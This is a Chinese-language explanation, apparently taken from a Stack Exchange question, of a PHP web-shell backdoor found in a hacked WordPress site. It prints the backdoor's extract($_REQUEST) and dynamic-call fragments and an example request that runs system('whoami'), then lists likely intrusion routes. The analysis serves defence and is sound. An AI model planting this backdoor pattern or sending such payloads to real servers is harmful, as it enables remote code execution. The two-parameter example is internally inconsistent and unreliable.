WordPress站点遭恶意代码入侵求助：解析可疑代码意图

代码意图拆解 #

那行恶意代码的核心是实现任意代码执行，拆解细节：

• extract($_REQUEST)：将HTTP请求（GET/POST/Cookie等）中的所有参数转换为当前PHP作用域的变量。比如攻击者在请求里传入shall=eval，PHP就会自动创建$shall = 'eval'这个变量。
• @$shall(stripslashes($shall))：
  • @是PHP的错误抑制符，用来掩盖执行过程中可能出现的错误信息，避免暴露攻击痕迹。
  • $shall被当作函数名调用，参数是经过stripslashes处理后的自身值。举个例子，攻击者如果传入shall=eval&shall=system('whoami')，就会执行eval('system(\'whoami\')')，直接在服务器上运行系统命令。
• &exit;：执行完恶意代码后立刻终止脚本运行，避免被站点原有代码干扰，同时掩盖注入行为的痕迹。

代码出现的原因与入侵途径 #

• 未修复的漏洞利用：站点使用的WordPress核心、插件或主题存在未修复的公开漏洞（比如远程代码执行、文件写入漏洞），攻击者通过这些漏洞获取到服务器文件修改权限，进而篡改核心文件。
• 凭证泄露或弱密码：WordPress后台管理员密码过于简单被暴力破解，或者服务器FTP、SSH等凭证泄露，攻击者直接登录后修改核心文件。
• 第三方资源风险：安装了非官方来源的插件、主题，或者服务器上部署了不安全的第三方脚本，这些资源本身携带后门，进而扩散修改核心文件。
• 服务器权限配置错误：网站目录或文件权限设置过松（比如给了777权限），即使漏洞权限有限，攻击者也能利用宽松的权限修改核心文件。

内容的提问来源于stack exchange，提问作者Gugo Martikyan